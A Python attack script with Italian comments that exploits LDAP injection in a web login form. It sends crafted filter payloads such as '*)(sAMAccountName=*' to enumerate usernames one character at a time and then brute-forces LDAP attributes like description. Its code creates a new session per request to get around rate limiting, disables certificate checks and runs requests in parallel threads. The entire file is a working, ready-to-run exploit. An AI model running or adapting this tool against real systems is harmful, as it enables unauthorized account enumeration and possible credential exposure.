#!/usr/bin/env python3
"""
LDAP Injection Bruteforce Username and Attribute Enumerator
Bruteforce usernames character by character using LDAP injection via a web login form.
Optionally bruteforce LDAP attributes (e.g., description) for found usernames.
"""

import requests
import urllib.parse
import argparse
import string
import os
from bs4 import BeautifulSoup
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock

# Disabilita warning SSL
requests.packages.urllib3.disable_warnings()

# Lock per output thread-safe
print_lock = Lock()


def double_url_encode(payload):
    """Double URL encode del payload"""
    encoded_once = urllib.parse.quote(payload, safe='')
    encoded_twice = urllib.parse.quote(encoded_once, safe='')
    return encoded_twice


def test_username_prefix(url, prefix, proxies=None, quiet=False):
    """
    Testa se esiste un username che inizia con il prefisso dato
    
    Returns:
        - True se l'errore è "Login attempt failed" (username esiste)
        - False se l'errore è "Invalid login attempt" (username non esiste)
        - None se non riesce a determinare
    """
    # Crea una nuova sessione per ogni richiesta (bypass rate limiting)
    s = requests.Session()
    s.verify = False
    if proxies:
        s.proxies.update(proxies)
    
    # Costruisci il payload LDAP injection usando sAMAccountName
    ldap_payload = f"{prefix}*)(sAMAccountName=*"
    
    # Double URL encode
    encoded_payload = double_url_encode(ldap_payload)
    
    try:
        # Prima GET per ottenere i campi del form e cookie freschi
        ret = s.get(url, timeout=10)
        
        # Parsa il form HTML per ottenere tutti i campi nascosti
        soup = BeautifulSoup(ret.text, 'html.parser')
        inputs = soup.find_all('input')
        
        # Costruisci il dizionario con tutti i campi del form
        data = {x['name']: x.get('value', '') for x in inputs if 'name' in x.attrs}
        
        # Sovrascrivi Username e Password con i nostri valori
        data['Username'] = encoded_payload
        data['Password'] = 'randompassword123'
        
        # Costruisci manualmente il body per evitare che requests faccia un altro encoding
        # I valori già double-encoded non devono essere encodati di nuovo
        body_parts = []
        for key, value in data.items():
            if key == 'Username':
                # Username è già double-encoded, non encodarlo di nuovo
                body_parts.append(f"{key}={value}")
            else:
                # Altri campi vanno encodati normalmente
                body_parts.append(f"{urllib.parse.quote(key, safe='')}={urllib.parse.quote(str(value), safe='')}")
        
        body = '&'.join(body_parts)
        
        # Invia la richiesta POST con body raw
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        response = s.post(url, data=body, headers=headers, timeout=10, allow_redirects=False)
        
        # Analizza la risposta
        response_text = response.text.lower()
        
        if 'login attempt failed' in response_text:
            return True  # Username esiste
        elif 'invalid login attempt' in response_text:
            return False  # Username non esiste
        else:
            # Prova a cercare altri pattern
            if not quiet:
                with print_lock:
                    print(f"[?] Risposta non riconosciuta per '{prefix}': {response.status_code}")
                    if len(response.text) < 500:
                        print(f"    Contenuto: {response.text[:200]}")
            return None
            
    except Exception as e:
        if not quiet:
            with print_lock:
                print(f"[!] Errore durante la richiesta per '{prefix}': {e}")
        return None

def bruteforce_username(url, charset=None, max_length=20, known_prefix="", proxies=None, threads=10):
    """
    Bruteforce di un singolo username carattere per carattere
    
    Args:
        url: URL del form di login
        charset: Set di caratteri da provare
        max_length: Lunghezza massima dell'username
        known_prefix: Prefisso già noto dell'username
        proxies: Proxy da utilizzare (es. {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'})
        threads: Numero di thread da utilizzare
    
    Returns:
        Username trovato o None
    """
    if charset is None:
        # Caratteri comuni in username (case-insensitive, aggiungi altri se necessario)
        charset = string.ascii_lowercase + string.digits + '-_.'
    
    username = known_prefix
    print(f"[*] Inizio bruteforce da prefisso: '{username}'")
    
    while len(username) < max_length:
        found_char = None
        
        # Usa ThreadPoolExecutor per testare tutti i caratteri in parallelo
        with ThreadPoolExecutor(max_workers=threads) as executor:
            # Prepara i task
            future_to_char = {
                executor.submit(test_username_prefix, url, username + char, proxies, True): char 
                for char in charset
            }
            
            # Processa i risultati man mano che arrivano
            for future in as_completed(future_to_char):
                char = future_to_char[future]
                try:
                    result = future.result()
                    if result is True:
                        # Carattere trovato!
                        found_char = char
                        # Cancella i task rimanenti
                        for f in future_to_char:
                            f.cancel()
                        break
                except Exception as e:
                    with print_lock:
                        print(f"[!] Eccezione per '{username + char}': {e}")
        
        if found_char:
            username += found_char
            with print_lock:
                print(f"[✓] Trovato carattere: {username}")
        else:
            # Nessun carattere aggiuntivo trovato, username completo
            print(f"[✓] Username completo trovato: {username}")
            return username
    
    print(f"[!] Raggiunta lunghezza massima ({max_length})")
    return username


def test_attribute_prefix(url, username, attr_name, attr_prefix, proxies=None, quiet=False):
    """
    Testa se esiste un attributo che inizia con il prefisso dato per un username specifico
    
    Returns:
        - True se l'errore è "Login attempt failed" (attributo esiste)
        - False se l'errore è "Invalid login attempt" (attributo non esiste)
        - None se non riesce a determinare
    """
    # Crea una nuova sessione per ogni richiesta (bypass rate limiting)
    s = requests.Session()
    s.verify = False
    if proxies:
        s.proxies.update(proxies)
    
    # Escape dei caratteri speciali LDAP nel prefisso dell'attributo
    # In LDAP, alcuni caratteri sono speciali e devono essere escapati:
    # * = \2a, ( = \28, ) = \29, \ = \5c
    escaped_attr_prefix = attr_prefix.replace('\\', '\\5c')  # Escape \ per primo
    escaped_attr_prefix = escaped_attr_prefix.replace('*', '\\2a')
    escaped_attr_prefix = escaped_attr_prefix.replace('(', '\\28')
    escaped_attr_prefix = escaped_attr_prefix.replace(')', '\\29')
    
    # Costruisci il payload LDAP injection per l'attributo
    ldap_payload = f"{username})({attr_name}={escaped_attr_prefix}*"
    
    # Double URL encode
    encoded_payload = double_url_encode(ldap_payload)
    
    try:
        # Prima GET per ottenere i campi del form e cookie freschi
        ret = s.get(url, timeout=10)
        
        # Parsa il form HTML per ottenere tutti i campi nascosti
        soup = BeautifulSoup(ret.text, 'html.parser')
        inputs = soup.find_all('input')
        
        # Costruisci il dizionario con tutti i campi del form
        data = {x['name']: x.get('value', '') for x in inputs if 'name' in x.attrs}
        
        # Sovrascrivi Username e Password con i nostri valori
        data['Username'] = encoded_payload
        data['Password'] = 'randompassword123'
        
        # Costruisci manualmente il body per evitare che requests faccia un altro encoding
        body_parts = []
        for key, value in data.items():
            if key == 'Username':
                # Username è già double-encoded, non encodarlo di nuovo
                body_parts.append(f"{key}={value}")
            else:
                # Altri campi vanno encodati normalmente
                body_parts.append(f"{urllib.parse.quote(key, safe='')}={urllib.parse.quote(str(value), safe='')}")
        
        body = '&'.join(body_parts)
        
        # Invia la richiesta POST con body raw
        headers = {'Content-Type': 'application/x-www-form-urlencoded'}
        response = s.post(url, data=body, headers=headers, timeout=10, allow_redirects=False)
        
        # Analizza la risposta
        response_text = response.text.lower()
        
        if 'login attempt failed' in response_text:
            return True  # Description esiste
        elif 'invalid login attempt' in response_text:
            return False  # Description non esiste
        else:
            # Prova a cercare altri pattern
            if not quiet:
                with print_lock:
                    print(f"[?] Risposta non riconosciuta per {attr_name} '{attr_prefix}': {response.status_code}")
            return None
            
    except Exception as e:
        if not quiet:
            with print_lock:
                print(f"[!] Errore durante la richiesta per {attr_name} '{attr_prefix}': {e}")
        return None


def bruteforce_attribute(url, username, attr_name="description", charset=None, max_length=100, proxies=None, threads=10):
    """
    Bruteforce di un attributo LDAP di un username specifico carattere per carattere
    
    Args:
        url: URL del form di login
        username: Username di cui bruteforzare l'attributo
        attr_name: Nome dell'attributo LDAP da brutare (default: description)
        charset: Set di caratteri da provare
        max_length: Lunghezza massima dell'attributo
        proxies: Proxy da utilizzare
        threads: Numero di thread da utilizzare
    
    Returns:
        Valore dell'attributo trovato o None
    """
    if charset is None:
        # Caratteri comuni negli attributi (incluso * che verrà escapato)
        charset = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;*"
    
    attr_value = ""
    print(f"[*] Inizio bruteforce {attr_name} per username: '{username}'")
    
    while len(attr_value) < max_length:
        found_char = None
        
        # Usa ThreadPoolExecutor per testare tutti i caratteri in parallelo
        with ThreadPoolExecutor(max_workers=threads) as executor:
            # Prepara i task
            future_to_char = {
                executor.submit(test_attribute_prefix, url, username, attr_name, attr_value + char, proxies, True): char 
                for char in charset
            }
            
            # Processa i risultati man mano che arrivano
            for future in as_completed(future_to_char):
                char = future_to_char[future]
                try:
                    result = future.result()
                    if result is True:
                        # Carattere trovato!
                        found_char = char
                        # Cancella i task rimanenti
                        for f in future_to_char:
                            f.cancel()
                        break
                except Exception as e:
                    with print_lock:
                        print(f"[!] Eccezione per {attr_name} char '{char}': {e}")
        
        if found_char:
            attr_value += found_char
            with print_lock:
                print(f"[✓] Trovato carattere {attr_name}: {attr_value}")
        else:
            # Nessun carattere aggiuntivo trovato, attributo completo
            if attr_value:
                print(f"[✓] {attr_name} completo trovato: {attr_value}")
            else:
                print(f"[!] Nessun {attr_name} trovato per username '{username}'")
            return attr_value if attr_value else None
    
    print(f"[!] Raggiunta lunghezza massima {attr_name} ({max_length})")
    return attr_value

    
def enumerate_all_usernames(url, charset=None, max_length=20, max_users=50, proxies=None, threads=10):
    """
    Enumera tutti gli username possibili usando un approccio ricorsivo per gestire 
    più utenti con lo stesso prefisso
    
    Returns:
        Lista di username trovati
    """
    if charset is None:
        charset = string.ascii_lowercase + string.digits + '-_.'
    
    usernames = []
    prefixes_to_explore = ['']  # Inizia con prefisso vuoto
    
    print(f"[*] Ricerca di tutti gli username...")
    print(f"[*] Charset: {charset}")
    print(f"[*] Max lunghezza: {max_length}")
    print(f"[*] Thread: {threads}")
    print()
    
    while prefixes_to_explore and len(usernames) < max_users:
        current_prefix = prefixes_to_explore.pop(0)
        
        if len(current_prefix) >= max_length:
            continue
        
        # Testa tutti i caratteri possibili per questo prefisso
        found_chars = []
        
        with ThreadPoolExecutor(max_workers=threads) as executor:
            future_to_char = {
                executor.submit(test_username_prefix, url, current_prefix + char, proxies, True): char 
                for char in charset
            }
            
            for future in as_completed(future_to_char):
                char = future_to_char[future]
                try:
                    result = future.result()
                    if result is True:
                        found_chars.append(char)
                except Exception as e:
                    with print_lock:
                        print(f"[!] Eccezione per '{current_prefix + char}': {e}")
        
        found_chars.sort()
        
        if not found_chars:
            # Nessun carattere trovato = username completo
            if current_prefix and current_prefix not in usernames:
                usernames.append(current_prefix)
                with print_lock:
                    print(f"[✓✓] USERNAME TROVATO: {current_prefix}")
        else:
            # Caratteri trovati
            with print_lock:
                if current_prefix:
                    print(f"[+] Prefisso '{current_prefix}' -> caratteri validi: {found_chars}")
                else:
                    print(f"[✓] Primi caratteri validi: {found_chars}")
            
            # Se troviamo esattamente un carattere, continuiamo con quello
            # Se troviamo più caratteri, aggiungiamo tutti i nuovi prefissi alla coda
            for char in found_chars:
                new_prefix = current_prefix + char
                prefixes_to_explore.append(new_prefix)
    
    if len(usernames) >= max_users:
        print(f"\n[!] Raggiunto limite di {max_users} utenti")
    
    print(f"\n[*] Enumerazione completata: trovati {len(usernames)} username")
    
    return usernames

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description='LDAP Injection Username Bruteforce',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Esempi:
  # Enumera tutti gli username
  %(prog)s -u https://target.com/login
  
  # Bruteforce singolo username con prefisso noto
  %(prog)s -u https://target.com/login -p j
  
  # Usa un proxy (es. Burp)
  %(prog)s -u https://target.com/login --proxy http://127.0.0.1:8080
  
  # Specifica charset custom
  %(prog)s -u https://target.com/login -c "abcdefghijklmnopqrstuvwxyz0123456789"
        """
    )
    
    parser.add_argument('-u', '--url', required=True, help='URL del form di login')
    parser.add_argument('-p', '--prefix', default='', help='Prefisso noto dell\'username (opzionale)')
    parser.add_argument('-c', '--charset', help='Caratteri da provare (default: a-z0-9-_.)')
    parser.add_argument('-l', '--max-length', type=int, default=20, help='Lunghezza massima username (default: 20)')
    parser.add_argument('-m', '--max-users', type=int, default=50, help='Numero massimo di utenti da trovare (default: 50)')
    parser.add_argument('-t', '--threads', type=int, default=10, help='Numero di thread (default: 10)')
    parser.add_argument('--proxy', help='Proxy da utilizzare (es. http://127.0.0.1:8080)')
    parser.add_argument('-o', '--output', help='File di output per salvare gli username trovati')
    parser.add_argument('--single', action='store_true', help='Bruteforce solo un singolo username (richiede -p)')
    parser.add_argument('--usernames-file', default='usernames.txt', help='File per salvare/caricare gli username (default: usernames.txt)')
    parser.add_argument('--bruteforce-attr', action='store_true', help='Bruteforce attributo LDAP dopo aver trovato gli username')
    parser.add_argument('--attribute', default='description', help='Nome attributo LDAP da brutare (default: description)')
    parser.add_argument('--attr-charset', help='Charset per attributo (default: a-zA-Z0-9_@{}-/()!"$%%=^[]:;*)')
    parser.add_argument('--attr-max-length', type=int, default=100, help='Lunghezza massima attributo (default: 100)')
    
    args = parser.parse_args()
    
    # Setup proxy se specificato
    proxies = None
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy
        }
        print(f"[*] Uso proxy: {args.proxy}")
    
    print(f"{'='*60}")
    print(f"LDAP Injection Username Bruteforce")
    print(f"{'='*60}")
    print(f"[*] Target: {args.url}")
    print()
    
    # Determina charset
    charset = args.charset if args.charset else None
    
    if args.single:
        # Bruteforce singolo username
        if not args.prefix:
            print(f"[!] Errore: --single richiede --prefix")
            exit(1)
        
        username = bruteforce_username(
            args.url,
            charset,
            args.max_length,
            args.prefix,
            proxies,
            args.threads
        )
        
        if username:
            print()
            print(f"{'='*60}")
            print(f"[SUCCESS] Username trovato: {username}")
            print(f"{'='*60}")
            
            if args.output:
                with open(args.output, 'w') as f:
                    f.write(username + '\n')
                print(f"[*] Salvato in: {args.output}")
    else:
        # Controlla se esiste già il file con gli username
        usernames = []
        if os.path.exists(args.usernames_file):
            print(f"[*] File username trovato: {args.usernames_file}")
            print(f"[*] Carico username dal file...")
            with open(args.usernames_file, 'r') as f:
                usernames = [line.strip() for line in f if line.strip()]
            print(f"[✓] Caricati {len(usernames)} username dal file")
            print()
            print(f"{'='*60}")
            print(f"[SUCCESS] Username caricati:")
            for username in usernames:
                print(f"  - {username}")
            print(f"{'='*60}")
        else:
            # Enumera tutti gli username
            print(f"[*] File username non trovato, inizio bruteforce...")
            usernames = enumerate_all_usernames(
                args.url,
                charset,
                args.max_length,
                args.max_users,
                proxies,
                args.threads
            )
            
            print()
            print(f"{'='*60}")
            print(f"[SUCCESS] Trovati {len(usernames)} username:")
            for username in usernames:
                print(f"  - {username}")
            print(f"{'='*60}")
            
            # Salva automaticamente gli username nel file
            if usernames:
                with open(args.usernames_file, 'w') as f:
                    for username in usernames:
                        f.write(username + '\n')
                print(f"[*] Username salvati in: {args.usernames_file}")
        
        # Bruteforce dell'attributo se richiesto
        if args.bruteforce_attr and usernames:
            print()
            print(f"{'='*60}")
            print(f"[*] Inizio bruteforce attributo '{args.attribute}'...")
            print(f"{'='*60}")
            print()
            
            attr_charset = args.attr_charset if args.attr_charset else (string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;*")
            attributes = {}
            
            for username in usernames:
                print(f"\n[*] Bruteforce {args.attribute} per '{username}'...")
                attr_val = bruteforce_attribute(
                    args.url,
                    username,
                    args.attribute,
                    attr_charset,
                    args.attr_max_length,
                    proxies,
                    args.threads
                )
                if attr_val:
                    attributes[username] = attr_val
                    print(f"[✓✓] {args.attribute.upper()} TROVATO per '{username}': {attr_val}")
                else:
                    print(f"[!] Nessun {args.attribute} per '{username}'")
                print()
            
            print()
            print(f"{'='*60}")
            print(f"[SUCCESS] Risultati completi:")
            for username in usernames:
                attr_val = attributes.get(username, "N/A")
                print(f"  - {username}: {attr_val}")
            print(f"{'='*60}")
            
            # Salva risultati completi se richiesto
            if args.output:
                with open(args.output, 'w') as f:
                    for username in usernames:
                        attr_val = attributes.get(username, "N/A")
                        f.write(f"{username}:{attr_val}\n")
                print(f"[*] Salvati in: {args.output}")
        elif args.output and not args.bruteforce_attr:
            # Salva solo username
            with open(args.output, 'w') as f:
                for username in usernames:
                    f.write(username + '\n')
            print(f"[*] Salvati in: {args.output}")